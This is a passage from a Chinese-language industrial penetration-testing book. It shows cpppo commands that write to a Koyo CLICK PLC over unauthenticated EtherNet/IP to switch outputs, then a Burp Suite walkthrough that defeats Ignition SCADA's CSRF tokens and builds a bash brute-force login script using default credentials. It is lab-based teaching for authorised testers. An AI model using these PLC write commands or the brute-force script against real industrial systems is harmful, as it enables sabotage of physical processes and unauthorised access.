好了,系好安全带。我们将返回到 PLC 虚拟机,并通过命令行进行更改来测试我们的Get**/**Set属性请求。在启动虚拟的 Ethernet/IP PLC 之前,我们需要简要讨论一下如何与 PLC 进行交互并发送消息。我们将使用无连接显式消息传递。之所以这么做,是因为我们不需要事先建立连接,也不需要为维护通信而预留资源。无连接显式消息传递允许我们发送临时通信,让 PLC 接收并处理命令。显式消息传递使用一种名为Lpacket的格式,而在Lpacket中,包含了服务字段,以下是这些服务字段:

  • 类别:到目前为止,我们只讨论了类别0x01,即身份类别,但我提到过有些应用特定的对象 ID,最终它们是类别 ID。虽然有一系列公开定义的类别 ID,但由于协议的开放性,用户可以利用位于 100 到 199 之间的自定义范围。

  • 实例:如果你有相同类别的多个实例,这有助于区分不同的消息。

  • 属性:类似于实例 ID,属性 ID 使您能够区分给定实例的多个属性。

使用对象模型可以传递大量信息,我强烈建议你通过阅读已发布的标准,自己做一些关于该协议的研究。对于我们的需求,我们只需要理解这个语法:

类/实例/属性

这定义了系统中的标签。现在回到实际操作示例。在你的 PLC 虚拟机终端中运行以下命令:

python3 -m cpppo.server.enip -v -a 0.0.0.0 'Compressor_StationA@8/1/1'

使用此命令,我们告诉系统构建一个名为Compressor_StationA的标签,其中包含类别 ID 0x08,这是一个公开定义的类别 ID,用于离散输入点,然后我们给它分配一个实例 ID 为 1,属性 ID 为 1。如果一切正常,您应该会看到类似以下的输出:

图 8.30 – Compressor_StationA 标签

图 8.30 – Compressor_StationA 标签

现在回到你的 SCADA 虚拟机,并输入以下命令:

python3 -m cpppo.server.enip.get_attribute '@8/1/1' -S -a 192.168.1.10

运行此命令会请求位于8/1/1的属性,使用-S(简单模式)从-a(地址)192.168.1.10。执行此命令后,您应该会收到如下响应:

图 8.31 – 单一属性值

图 8.31 – 单一属性值

这个响应告诉我们该属性中有一个0的值。这是一个简单读取属性的例子。现在我们想向这个标签写入数据。运行此命令将属性值设置为1

python3 -m cpppo.server.enip.get_attribute '@8/1/1=(INT)1' '@8/1/1' -S -a 192.168.1.10

如果你比较这两个命令,我们所做的只是添加了一个新参数,告诉系统将对象@8/1/1=(INT)1设置为整数 1。现在你应该会看到两个输出,如下所示:

图 8.32 – 设置属性

图 8.32 – 设置属性

你可以看到命令响应S_A_SG_A_S,分别代表设置属性和获取属性。第一个命令表示将属性设置为True,而获取命令则返回值为1。最后,记住我们给对象命名的标签是Compressor_StationA,我们可以使用该标签名来获取和设置值,因为它已经在系统中被别名化。以下命令作为示例:

python3 -m cpppo.server.enip.client –print Compressor_StationA Compressor_StationA=1 Compressor_StationA -a 192.168.1.10

你应该会得到以下输出:

图 8.33 – 标签别名 获取/设置属性

图 8.33 – 标签别名 获取/设置属性

使用此命令,我们请求获取属性,然后使用设置命令将值设置为1,最后再次使用获取命令检查值是否已经在虚拟 PLC 中更新。你可以看到,只需轻松地切换开关值,就能在远程控制器中操作。你所需要知道的只是特定对象的映射类/实例/属性。

现在我们可以在实验室中针对 Koyo CLICK PLC 测试相同的命令方法。打开 CLICK 编程软件,导航到设置菜单,选择EtherNet/IP 设置...,你将看到我们之前在配置步骤中看到的配置屏幕。我们要特别关注两个部分,第一个是在输入(到扫描仪)标签页下,如下所示:

图 8.34 – 输入 类/实例/属性

图 8.34 – 输入 类/实例/属性

请注意标有(Explicit)标签的/实例/属性项目。

  • 4

  • 实例101

  • 属性3

现在转到输出(来自扫描仪)标签页,你应该能看到以下屏幕:

图 8.35 – 输出 类/实例/属性

图 8.35 – 输出 类/实例/属性

/实例/属性几乎是相同的,如果你记得实例 ID 的作用描述,那么你就知道它为何相差 1:

  • 4

  • 实例102

  • 属性3

我们现在有足够的信息来与在 PLC 上运行的程序进行交互。作为监控命令与 PLC 交互的一种方式,我们想在 Koyo CLICK 编程软件中的数据视图屏幕上添加一些配置。请参见以下截图,我们将快速通过需要采取的步骤来为监控设置该配置:

图 8.36 – 数据视图

图 8.36 – 数据视图

作为回顾,你选择监控菜单项并选择数据视图选项。

在这里,你可以看到我们向数据视图添加了一些更多的寄存器,并启用了覆盖功能。

这里是快速步骤:

  1. 选择地址单元格

  2. 点击地址选择器

  3. 选择你要查看的地址并点击确定

  4. 继续这个过程,直到你的数据视图看起来和我的一样。

一旦你的寄存器在数据视图中显示,并且与之前的截图相匹配,进入你的 SCADA 虚拟机终端并输入以下命令:

python3 -m cpppo.server.enip.get_attribute '@4/101/3' '@4/102/3' -S -a 192.168.1.20

这个命令,如我们之前所看到的,使用简单模式来获取这些对象中的属性。如果所有输入和输出都关闭,你应该得到以下响应:

图 8.37 – 从 Koyo CLICK 获取属性

图 8.37 – 从 Koyo CLICK 获取属性

注意

我需要指出的是,在文档中,正如我们在设置 Ethernet/IP 时所讲的,在 Koyo CLICK PLC 上,XD寄存器是只读的,而YD寄存器是读/写的,这与控制哲学有关,超出了本书的范围。你真正需要知道的是,如果你想直接与灯互动,你可以通过 Ethernet/IP 绕过 PLC 的输入/输出,并直接使用YD寄存器来激活线圈。

接下来,任务是手动从数据视图屏幕上强制开启X001X002。你会注意到一些二进制运算,这应该能让你回忆起早期的计算机科学日子。0001 + 0010 == 0011 == 0x03,如下图所示:

图 8.38 – 强制开启 X001 和 X002

图 8.38 – 强制开启 X001 和 X002

结果是XD0的十六进制值为0003h,如所示:

图 8.39 – XD0 等于 3

图 8.39 – XD0 等于 3

现在再次检查,确保你的数据视图屏幕看起来如下:

图 8.40 – 强制开启数据视图中的 X001 和 X002

图 8.40 – 强制开启数据视图中的 X001 和 X002

我们希望重新运行Get属性命令,以确保看到正确的属性。作为快速回顾,以下是命令:

python3 -m cpppo.server.enip.get_attribute '@4/101/3' '@4/102/3' -S -a 192.168.1.20

如果一切配置正确,你应该看到以下输出:

图 8.41 – 输入十六进制值 3

图 8.41 – 输入十六进制值 3

现在我们知道我们确实访问了正确的地址,接下来我们开始开关灯。如果你还记得虚拟 PLC 的操作,我们只是将值类型和实际值添加到read命令中。在这种情况下,我们希望复制@4/102/3对象,并添加类型(INT)和我们想要开启的灯组合的十六进制等效值。直接跳入深水区,运行以下命令:

python3 -m cpppo.server.enip.get_attribute '@4/101/3' '@4/102/3=(INT)15 '@4/102/3' -S -a 192.168.1.20

你应该看到以下结果:

图 8.42 – 所有灯都亮着

图 8.42 – 所有灯都亮着

请再次检查数据视图屏幕,你应该会看到所有输出都已设置为开启,如下图所示:

图 8.43 – Y001-Y004 全部开启

图 8.43 – Y001-Y004 全部开启

最后,让我们通过使用 Wireshark 嗅探 SPAN 接口来捕获Set属性数据包。在 Wireshark 的信息栏下,你应该能看到以下与发送的三条命令相关的详细信息:

图 8.44 – Wireshark 检测

图 8.44 – Wireshark 检测

你可以看到我们检测到了第一条命令,即获取属性@4/101/3,然后是设置属性@4/102/3=(INT)15,最后是第三条命令,我们正在获取设置命令的结果。

注意

如果你做了研究并找到了更多应用类 ID,如前面所讨论的,你应该会发现0x04类 ID 是公认的组装标准。

如果你展开Assembly – Set Attribute Single数据包并查看协议的 CIP 层,你会发现一个数据值0F00,这是15的十六进制表示,如下所示:

图 8.45 – 数据:0f00 CIP 详情

图 8.45 – 数据:0f00 CIP 详情

就是这样。我们通过简单地向 PLC 发送未连接的显式消息,成功实现了控制灯光的开关。乍一看,协议结构似乎比 Modbus 复杂且繁琐,但经过一番研究和反复试验后,我们发现地址的类/实例/属性结构使得发送和接收指令变得相当简单。这一点非常重要。正如我们在引言中所述,全球超过 30%的工业设备都使用此协议来操作流程。无论是在亚马逊配送中心操作输送带,还是在殖民管道公司启动或停止主干压缩机站,你肯定会在你的工业渗透测试职业生涯中遇到这种协议。

总结

我理解如果你感到有些迷茫,因为这些信息比较复杂且难以消化。然而,我希望你能明白,理解我们在本章中遇到的协议的功能和可扩展性是多么重要。你应该注意到的最大收获是,我们不需要做任何关于安全的事情,就能轻松地向我们的虚拟控制器和硬件控制器发送 ModbusTCP 和 Ethernet/IP 命令。

从协议层面理解输入输出操作的功能,将为你在提交最终发现报告时提供必要的有效性。在我的职业生涯中,我多次见过这样的报告:仅仅列出了通过不安全协议在网络上发现的资产。当被问及使用不安全协议的资产对组织可能产生的影响时,回应通常毫无实质内容。通过数据包层面的接触,你能够提供比单纯说不安全协议更丰富的评估发现。以下是我们发现的一个快速示例。

我们通过以太网/IP 的身份获取所有属性请求发现,网络中运行着一台 Koyo Click C0-10ARE-D,并且在地址0x04/102/3处存在未连接的显式消息传输漏洞。这个地址一旦被操控,我们就能打开和关闭实验室的灯光。

未来,你应该能更好地理解在网络中遇到各种工业协议时,尤其是 ModbusTCP 和以太网/IP 时,应该寻找什么。

在下一章,我们将深入探讨并介绍如何使用 Burp Suite 对基于 Web 的 SCADA 界面进行渗透测试。

第九章:Ninja 308

在上一章中,我们讨论了工业协议的基础知识,特别是两种协议的细节:Modbus 和 Ethernet/IP。我们讨论并使用了可以枚举端口和发现这些设备上运行的服务的工具。我们还使用了工具来遍历目录和虚拟主机,在第七章《扫描 101》中也提到过,这意味着我们在攻击链的两端都有很好的基础知识。

现在,我们需要花时间研究攻击,最重要的是暴力破解。尽管发现一个遗留服务并花时间进行逆向工程并构建漏洞利用工具非常令人兴奋,但时间通常并不站在我们这边。如果你发现一个像 Ignition SCADA 这样的系统(我们在第七章《扫描 101》中安装了它),通常情况下,操作人员会使用简单的密码或工厂默认密码来访问系统。作为用户访问 SCADA 系统可以让你完全控制工业过程。获得这种访问权限类似于企业 IT 安全领域中的“域管理员”权限。学习如何使用像 BurpSuite 这样的 Web 渗透测试工具非常重要,因为它将帮助你通过泄露真实的凭证来打开各种系统的访问权限。

在本章中,我们将涵盖以下主要主题:

  • 安装 FoxyProxy

  • 运行 BurpSuite

  • 构建一个用于暴力破解 SCADA 的脚本

技术要求

对于本章,你将需要以下内容:

你可以在这里查看本章代码的实际操作:bit.ly/3lAinwm

安装 FoxyProxy

在开始安装 FoxyProxy 之前,我们需要先定义什么是代理服务器以及为什么我们需要使用它。代理服务器是一个将来自一个网络或设备的流量转换为另一个设备或网络的系统。然而,这并不容易理解:这对我们意味着什么,为什么我们要关心流量的转换呢?代理服务器允许我们拦截所有来自和指定到我们的攻击主机的通信。这使我们能够增强并更改请求与服务器交互的方式,例如,通过删除 JavaScript UI 过滤和执行其他有趣的任务。那么,既然我们知道了什么是代理服务器,FoxyProxy 又是什么呢?FoxyProxy 是一个简单但强大的代理切换工具。它消除了您必须更改浏览器内部代理设置的繁琐操作。只需添加新的设置并使用开关在代理服务器之间切换,开启或关闭它们。

按照以下步骤安装 FoxyProxy:

  1. 首先,您需要访问 Kali Linux 虚拟机并启动 Firefox ESR。一旦打开 Firefox,导航到右侧,您会看到一个汉堡按钮或菜单按钮;点击它。它将弹出以下下拉菜单:图 9.1 – 菜单下拉

    图 9.1 – 菜单下拉

  2. 在菜单打开后,选择附加组件选项。您将看到一个显示推荐、扩展、主题和插件的界面。导航到搜索框,输入foxyproxy,然后按回车键,如下图所示:图 9.2 – 附加组件搜索弹窗

    图 9.2 – 附加组件搜索弹窗

  3. 这样做后,您将看到一个可能匹配的附加组件列表。您会在列表顶部看到FoxyProxy 标准版,如下图所示:图 9.3 – FoxyProxy 标准版

    图 9.3 – FoxyProxy 标准版

  4. 点击FoxyProxy 标准版链接,将弹出一个窗口,您可以点击添加到 Firefox按钮。如下图所示:图 9.4 – 安装 FoxyProxy

    图 9.4 – 安装 FoxyProxy

  5. 继续点击添加到 Firefox按钮。此时,您将看到一个权限请求提示。这很重要,因为您将允许 FoxyProxy 更改您的浏览器设置。以下是您通过将其添加到浏览器时将授予 FoxyProxy 的权限:图 9.5 – FoxyProxy 权限

    图 9.5 – FoxyProxy 权限

  6. 点击添加按钮以成功安装 FoxyProxy。此时,您应该会看到一个狐狸图标出现在 Firefox 的工具栏上,位于右侧。点击该图标将显示以下界面:图 9.6 – FoxyProxy 配置

    图 9.6 – FoxyProxy 配置

  7. 目前我们没有任何代理设置,所以我们将通过点击+ 添加链接来添加一些,如下图所示:图 9.7 – 添加设置

    图 9.7 – 添加设置

    点击此按钮后,你将看到一个页面,允许你添加第一个代理设置,如下所示:

    图 9.8 – 第一个代理设置

    图 9.8 – 第一个代理设置

    对于这些设置,我通常设置以下参数:

    • 标题或描述BurpSuite

    • 代理类型HTTP

    • 代理 IP127.0.0.1

    • 端口8080

  8. 点击保存按钮。现在,当你点击工具栏中的狐狸图标时,应该能看到新添加的设置,如下图所示:

图 9.9 – BurpSuite 代理

图 9.9 – BurpSuite 代理

这样,我们就成功安装了 FoxyProxy 并配置了第一个代理设置,这对 BurpSuite 来说非常方便。接下来我们将讨论这个主题。快速配置代理的简便性,以及能够开关代理并在不同代理之间切换,在你的渗透测试职业生涯中将非常有用。

运行 BurpSuite

在上一节中,我们安装了 FoxyProxy 并配置了一些设置,以适应我们的 BurpSuite 软件。在本节中,我们将利用 BurpSuite 帮助我们理解 Ignition SCADA 使用的请求/响应操作,以执行身份验证和授权。现在,为了继续操作,我们需要将 BurpSuite 的证书添加为受信任的源;否则,我们将被迫将每个访问过的网站标记为例外。

为此,我们必须导航到我们在设置中配置的 IP 地址和端口。完成此操作后,你将看到一个BurpSuite 社区版的启动页面,右侧有一个CA 证书按钮,如下所示:

图 9.10 – CA 证书位置

图 9.10 – CA 证书位置

点击此按钮后,你将看到以下屏幕:

图 9.11 – 保存 CA 证书

图 9.11 – 保存 CA 证书

选择保存文件并点击确定按钮。接下来,我们需要导航到菜单中的汉堡图标,并选择首选项,如图所示:

图 9.12 – 首选项

图 9.12 – 首选项

然后,我们需要选择左侧的隐私与安全,如下图所示:

图 9.13 – 隐私与安全

图 9.13 – 隐私与安全

向下滚动,直到看到证书区域,如下图所示:

图 9.14 – 证书

图 9.14 – 证书

点击 查看证书 按钮。系统将弹出以下窗口:

图 9.15 – 导入证书

图 9.15 – 导入证书

点击 Import 按钮,导航到最近下载的 ca.cert 文件,然后点击 OK

您将看到以下屏幕:

图 9.16 – 设置信任选项

图 9.16 – 设置信任选项

选择 信任此 CA 以识别网站,然后点击 OK 按钮。向下滚动以找到 PortSwigger 证书,确保导入顺利完成。您应该会看到以下屏幕:

图 9.17 – PortSwigger 证书

图 9.17 – PortSwigger 证书

完成证书安装,点击 OK

就这样!我们已经成功安装了证书。现在,是时候打开 BurpSuite 了。找到并打开 Kali Linux 虚拟机上的 BurpSuite。系统将提示您配置一个项目。这是您开始将工作安排到各种项目中的好机会,因为这将帮助您在编写报告时更高效。我将在接下来的操作中使用 临时项目,如下所示的截图:

图 9.18 – 临时项目

图 9.18 – 临时项目

在下一个屏幕上,您将有机会加载预设配置或使用 BurpSuite 的默认设置。我将选择 使用 Burp 默认设置

图 9.19 – Burp 默认设置

图 9.19 – Burp 默认设置

接下来,我们需要确保 Burp 使用正确的代理监听器。因此,选择 Proxy 菜单项,然后选择 Options。在这里,添加一个新的代理监听器,将接口设置为 IP Address:Port 编号,Certificate 设置为 Per-host,如下面的截图所示:

图 9.20 – 代理监听器

图 9.20 – 代理监听器

确保您选择了代理,并且 拦截开启 已启用,如下所示的截图所示。同时,确保您在 FoxyProxy 中切换了 BurpSuite:

图 9.21 – 拦截开启

图 9.21 – 拦截开启

现在进入有趣的部分:我们将在此拦截流量并使用 BurpSuite 分析其行为。请导航到 Ignition SCADA 的登录页面:

图 9.22 – Ignition 登录

图 9.22 – Ignition 登录

您可能会注意到功能缺失,这是因为 BurpSuite 已经拦截了您刚刚发起的 GET 请求。如果 BurpSuite 没有在该出现的时候自动弹出,您可以直接导航到它并点击 Proxy 标签,然后点击 Intercept 子标签:

图 9.23 – 登录拦截

图 9.23 – 登录拦截

如果我们稍微仔细查看细节,会发现仅仅打开登录界面就会启动一大堆流量,如下所示:

GET /idp/default/authn/login?app=gateway&token=Pj0cPAqKDiqz0WvV4xsfjwnSd2e2Tt74 Xz1TcxT7cnQ&token=GH3KbGJqdSGsTTUQNDqKB7WFLR0NOoJgwFni Bohji40&response_type=code&client_id=ignition&redirect_uri=%2Fdata%2Ffederate%2 Fcallback%2Fignition&scope=openid&state=eyJraWQiOiJrMSIsImFsZyI 6IkhTMjU2In0.eyJqdGkiOiJyRUNzVFdPUTE4aDVQM2ViSUd0cnBDc25BTENncmZ nakNpNl9nQWlxYjZrIiwidXJpIjoiL3dlYi9ob21lIn0.ogt_6V-fkMDS2gZCVm0lsxc4dF2XrauixoEFznsZ-2c&nonce=XepL7IYBXqStUEVhMKtl83hxnYL9wI1fdM1wsPJgxpM&prompt=login&max_age=1 HTTP/1.1

Host: 192.168.2.10:8088

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0)

Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.2.10:8088/idp/default/authn/login?app=gateway&token=KeaSv4c6jR0-KTtpNQ16ob3dYKBs8D9BO1aokZUQ il0&token=Pj0cPAqKDiqz0WvV4xsfjwnSd2e2Tt74Xz1TcxT7cnQ&response _type=code&client_id=ignition&redirect_uri=%2Fdata%2Ffederate%2 Fcallback%2Fignition&scope=openid&state=eyJraWQiOiJrMSIsImFsZy I6IkhTMjU2In0.eyJqdGkiOiJyRUNzVFdPUTE4aDVQM2ViSUd0cnBDc25BTENncm ZnakNpNl9nQWlxYjZrIiwidXJpIjoiL3dlYi9ob21lIn0.ogt_6V-fkMDS2gZCVm 0lsxc4dF2XrauixoEFznsZ-2c&nonce=XepL7IYBXqStUEVhMKtl83hxnYL9w I1fdM1wsPJgxpM&prompt=login&max_age=1

Connection: close

Cookie: default.sid=fj0zNMpRCctgmCAWcfJlJwrhPIVrZD-Auda96Bmghk4; JSESSIONID=node01u4ie14zjwage1dqw2zu6fs16q8.node0

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

现在,尝试使用 admin**:**admin 凭证登录。我知道我们将真实的凭证设置为 scada**:**scada,但我们将假设在进行渗透测试时刚刚发现了这个系统。此外,你很有可能通过这样做意外猜到正确的凭证。这是因为 运营技术OT)领域的一个普遍问题是继续使用工厂凭证。填写这些凭证后,你应该处于登录界面,类似于以下截图所示的状态:

图 9.24 – admin:admin 凭证

图 9.24 – admin:admin 凭证

现在,我们要导航到 BurpSuite,查看刚刚拦截到的 POST 请求,如下所示:

图 9.25 – POST 请求

图 9.25 – POST 请求

在这里,我们要利用 BurpSuite 中一个强大的工具,叫做 Repeater。它允许我们反复修改并测试请求,因此得名。为此,我们将右键点击并选择 Send to Repeater 选项,如下所示:

图 9.26 – 发送到 Repeater

图 9.26 – 发送到 Repeater

这将把我们拦截到的POST请求传递到Repeater工具。你应该会看到类似以下的界面:

图 9.27 – Repeater 工具

图 9.27 – Repeater 工具

进入Repeater工具后,按下发送按钮将请求传递到服务器。注意屏幕右侧的响应。仔细观察,你会看到传递的信息是无效令牌

图 9.28 – 无效令牌

图 9.28 – 无效令牌

仔细观察我们刚刚使用Repeater工具发送的请求,我们可以看到一个看起来像跨站请求伪造CSRF)令牌。这使得暴力破解变得更加复杂,因为现在,我们必须弄清楚 Ignition 是如何或者通过什么工具生成这些令牌的:

图 9.29 – CSRF 令牌

图 9.29 – CSRF 令牌

知道我们需要找到令牌生成的源头意味着我们需要进行更深的调查。让我们从回到代理 | **HTTP历史开始,然后点击GET方法,显示我们的请求响应**的详细信息,如下图所示:

图 9.30 – HTTP 历史

图 9.30 – HTTP 历史

在这个特定的会话中,并没有什么特别引起我们注意的地方。在这些不同的请求交换过程中,应该是创建并共享了 CSRF 令牌,在这个过程中,点击GET请求上方的POST方法,如下图所示,看看是否能发现任何关于令牌创建的线索:

图 9.31 – POST 请求

图 9.31 – POST 请求

好的,这看起来很有希望,因为我们可以看到一个令牌从/idp/default/authn/next-challenge的响应中传递出来。它看起来像是用户名-密码POST请求中需要的令牌,如下图所示:

图 9.32 – 下一个挑战令牌

图 9.32 – 下一个挑战令牌

现在,右键点击请求并将其发送到Repeater,就像之前那样,尝试生成下一个挑战令牌。返回到Repeater标签后,按下发送按钮以测试POST请求。你应该会看到类似以下的输出:

图 9.33 – 重新发送令牌

图 9.33 – 重新发送令牌

再一次,我们收到了无效的令牌消息,这意味着我们的请求令牌已经过期。我们需要进一步追溯,查看我们的下一个挑战令牌是如何生成的。返回到代理 | HTTP 历史,查看下一个挑战POST 请求之前的请求。在下图中,我们可以看到在之前的下一个挑战之前有一系列GET请求:

图 9.34 – oidc GET 请求

图 9.34 – oidc GET 请求

这里有一个非常有趣的GET请求,它恰好在路径中包含oidcOpenID ConnectOIDC)用于验证尝试安全、轻松地进行身份验证的用户。如果想了解更多关于oidc的信息,可以查看www.onelogin.com/blog/openid-connect-explained-in-plain-english。就我们的用途而言,我们只需要知道这是创建我们令牌的起点。现在,点击这个GET方法,我们将看到以下请求响应输出:

图 9.35 – OIDC 302 错误

图 9.35 – OIDC 302 错误

如你所见,我们得到一个响应代码302,并且在Location:字段中,我们可以看到我们的next-challenge令牌。现在,再次点击发送我们的请求Repeater工具,并点击发送按钮。你将收到以下输出:

图 9.36 – OIDC 下一挑战令牌

图 9.36 – OIDC 下一挑战令牌

这非常有希望,因为我们现在可以看到已经创建了一个新令牌,并且没有错误信息。Repeater工具的优点是我们可以编辑数据并重新发送,查看输入数据如何影响响应。继续点击发送几次;你会注意到唯一变化的就是那个特定的令牌。现在,如果你一直跟着操作,你的Repeater标签中应该有三个标签:

图 9.37 – 三个重复器会话

图 9.37 – 三个重复器会话

Repeater工具会跟踪我们在之前步骤中发送的请求,这使得它成为一个非常有用的工具,帮助我们测试关于 CRSF 令牌生成的理论。话虽如此,再点击一次发送按钮以生成一个新的oidc令牌。复制专用的令牌,如下截图所示:

图 9.38 – OIDC 令牌生成

图 9.38 – OIDC 令牌生成

现在,我们想要点击标有数字2的标签。你将看到我们之前生成next-challenge令牌失败的尝试。用我们新生成的oidc令牌替换请求中的令牌,如下截图所示:

图 9.39 – 用新 oidc 令牌替换失败的令牌

图 9.39 – 用新 oidc 令牌替换失败的令牌

重新发送请求。如果你按照步骤正确操作,你应该会得到一个200响应,内容类似如下:

图 9.40 – 200 响应

图 9.40 – 200 响应

太好了!现在,我们正朝着正确的方向前进。从这里开始,我们需要复制我们新生成的next-challenge令牌,并点击标记为1重复器标签。你会看到我们最初失败的用户名密码挑战尝试,响应消息为无效令牌。用我们生成的next-challenge令牌替换 CSRF 令牌。我们的请求应该如下所示:

图 9.41 – 用户名密码挑战 新令牌

图 9.41 – 用户名密码挑战 新令牌

现在,重新发送这个请求;你应该看到一个200响应,表示我们传递了一个有效的 CSRF 令牌,并且返回了 JSON 响应。在输出中,我们可以看到successfalse,这意味着我们使用的凭证是错误的,这是我们预期的结果,同时也看到一个有效的响应令牌,如下所示:

图 9.42 – 绕过 CSRF 令牌

图 9.42 – 绕过 CSRF 令牌

现在我们要验证我们的理论是否正确。鉴于我们在工业控制系统ICS)实验室中使用scada**:**scada凭证安装了 Ignition,我们重新执行步骤以验证一切是否如预期工作。你应该看到以下输出:

图 9.43 – 成功认证

图 9.43 – 成功认证

就这样,我们找到了生成唯一 CSRF 令牌并暴力破解 Ignition 认证的方法。现在,除了击败 CRSF 的兴奋感,我们意识到手动执行这个过程将需要一生的时间,而在渗透测试过程中我们根本没有这么多时间。因此,使用 BurpSuite,我们有多种方法来自动化这些步骤。如果你使用的是专业版,你可以通过以下菜单生成 CSRF PoC

图 9.44 – 专业版 – 生成 CSRF PoC

图 9.44 – 专业版 – 生成 CSRF PoC

如你所见,我正在使用社区版,这意味着我可以使用会话规则来运行各种宏,或导入 Burp 扩展,比如自定义参数处理器,如下图所示:

图 9.45 – 自定义参数处理器

图 9.45 – 自定义参数处理器

然而,由于社区版的限制,这种攻击方法将需要很长时间 – 可能没有手动执行攻击那么久,但对于我们的需求来说,时间仍然太长。因此,建议要么升级到专业版,要么编写自己的脚本。我们将在下一部分进行这一操作。

为暴力破解 SCADA 编写脚本

我假设通过阅读本书,你对编程/bash 脚本有一定的熟悉程度。如果没有,我强烈建议你复习一下 bash 脚本和/或 Python。以下是我个人推荐的两本书:

  • 使用 bash 进行网络安全操作,作者 Paul Troncone 和 Carl Albing,博士

  • 黑帽 Python,作者 Justin Seitz

这些是您了解 Bash 和 Python 可以做什么以及如何执行的好资源。最重要的是,通过阅读这本书并阅读这些章节,您将学会如何使这些脚本/编程语言在您的渗透测试中发挥作用。

我在本节之前加了上述说明,因为我将尽力使这个过程尽可能轻松。作为免责声明,我必须说我最多只是一个开发者,绝不是程序员。我之所以要做出这种区分,是因为决定通过构建测试驱动程序来开展职业生涯的程序员将审查我的代码并会心一笑。然而,我可以说我可以通过我的代码从 A 点到 B 点,坦率地说,最终结果才是我关心的。

说到这里,让我们开始吧?最快的方法是从Repeater工具开始,导航到Request列,并具体从/idp/default/oidc/auth?请求开始,如下截图所示:

图 9.46 – OIDC 请求

图 9.46 – OIDC 请求

现在,我们要右键单击Request。您将看到一个上下文菜单,您可以选择复制为 curl 命令,如下截图所示:

图 9.47 – 右键单击请求

图 9.47 – 右键单击请求

打开终端,并通过将其粘贴到命令行并运行来测试您复制的curl命令。您应该看到以下结果。在这里,我们将专注于生成的令牌。这应该与我们在上一节中使用Repeater工具执行的内容相匹配:

图 9.48 – curl OIDC 请求

图 9.48 – curl OIDC 请求

多次运行命令并分析结果。您应该看到此令牌已被唯一生成。太棒了 - 现在怎么办?您必须使用您喜爱的编辑器创建一个bash文件!为了简单起见,我将使用 nano。在您的终端中运行以下命令:

nano exploit.sh

这将打开 nano 编辑器。在这里,我们要粘贴刚刚使用的curl命令。接下来,我们要将我们的curl命令包装在eval语句中,并使用grep提取我们的令牌,如下截图所示:

图 9.49 – 我们的 bash OIDC 令牌脚本

图 9.49 – 我们的 bash OIDC 令牌脚本

仔细看一下具体的命令,您会看到我们将我们的curl命令分配给一个名为oidc_cmd的变量。然后,我们对该命令运行eval并将其传输到grep命令中:

oidc_token=$(eval $oidc_cmd | grep -oP '(?<=c&token=).*(?=&response)')

我们正在使用 grep 查找位于c&token=&response之间的字符串,它来自我们curl的响应。需要注意的是,前一个命令中的c字符是前一个令牌的最后一个字符,因此在运行此脚本之前,可能需要对其进行调整。务必在grep语句中添加此字符,因为curl响应生成了两个令牌,我们只关心我们的oidc令牌。

现在,继续测试你刚刚创建的脚本,运行以下命令:

bash exploit.sh

你应该看到以下输出:

图 9.50 – 创建的 OIDC 令牌

图 9.50 – 创建的 OIDC 令牌

现在,让我们重复相同的步骤,右键点击 BurpSuite 中Repeater工具下的Request,然后选择Copy as curl command来请求/idp/default/authn/next-challenge。我们必须将其粘贴到文本编辑器中并进行封装,正如我们之前所做的那样。然而,这一次,我们需要将oidc_token作为参数传递到新封装的curl命令中,如以下屏幕截图所示:

图 9.51 – next-challenge 令牌脚本

图 9.51 – next-challenge 令牌脚本

比较两条命令中的grep语句可以看出,它们之间存在轻微的差异,因为/next-challenge请求的响应以 JSON 对象的形式返回,因此我们需要相应地解析它。

注意

如果在这里遇到问题,无法让/next-challenge提供200响应代码,从而找到此令牌,可能需要通过刷新 Ignition 登录屏幕来刷新default.sid的会话 ID,捕获 BurpSuite 中的请求,然后更新每个curl请求的default.sid值。如果你收到400响应代码并显示Invalid Session消息,那么你就知道需要刷新了。

如果你已经跟着操作,复制了所有内容,并且拥有有效的会话 ID,那么在运行你的利用脚本时,你应该看到以下输出:

图 9.52 – 生成的 next-challenge 令牌

图 9.52 – 生成的 next-challenge 令牌

此时,你应该已经拥有oidc令牌和next-challenge令牌。现在,是时候将新生成的next-challenge令牌传递到 auth 请求中了。重复我们之前完成的步骤:

  1. 右键点击我们的/idp/default/authn/submit-username-password-challenge请求。

  2. 选择Copy as curl command

  3. 将你刚才复制的curl命令粘贴到文本编辑器中。

  4. 为评估封装curl命令。

  5. next-challenge令牌传递给auth请求。

  6. 如果超时,请更新default.sid

你的利用脚本中的auth部分应该类似于以下内容:

图 9.53 – auth 命令

图 9.53 – auth 命令

在这里,你可以看到我们将默认的凭据 scada**:**scada 硬编码以测试我们的脚本是否成功。如果一切正常,并且 default.sid 仍然有效,当你运行脚本时,输出应如下所示:

图 9.54 – 成功的身份验证

图 9.54 – 成功的身份验证

我们可以重构那些我们知道会在不同测试中发生变化的参数。我使用了 hostsiduserpass 参数。

我们从过去的渗透测试经验中知道,客户会更改他们的主机地址,因此我们应该创建一个变量来处理这个问题。我们知道需要创建一个初始的 default.sid,并且我们需要将其传递给所有三个请求,所以我们将为此行为创建一个变量。我们的用户名和密码也应该分别有变量。以下是初始重构的样子:

图 9.55 – 脚本重构

图 9.55 – 脚本重构

我们需要测试重构后的结果,以验证我们没有破坏任何内容。所以,运行 exploit 脚本,你应该会得到类似以下的结果:

图 9.56 – 重构后的测试

图 9.56 – 重构后的测试

现在,这一节的标题中有“穷举”的字样。这意味着我们需要结合一种方法来读取用户和密码的列表,并尝试在 Ignition 的登录页面上进行身份验证。我再次进行了重构,移除了传递的一些不必要的头部信息,并且将三个 curl 请求封装成了一个函数,如下所示:

图 9.57 – test_auth 函数

图 9.57 – test_auth 函数

在这里,你可以看到 next_cmdauth_cmd 的大小大大缩小。从这里开始,我们需要构建一种方法来读取用户列表和密码列表。我们希望添加打开文件、逐行读取并将其传递给我们之前声明的变量的功能。使用以下伪代码,我们可以根据需要调整:

while IFS='' read -r user || [[ -n "${user}" ]]; do

test_auth

if [[ $success == "true" ]]; then

echo $output

fi

done < $1

这里的基本思路是我们将为用户传入一个文件名。然后,while 循环将遍历每个用户,设置我们的 $user 变量,并启动 test_auth 函数,后者将开始令牌的创建和身份验证尝试。运行以下命令:

bash exploit.sh users.txt

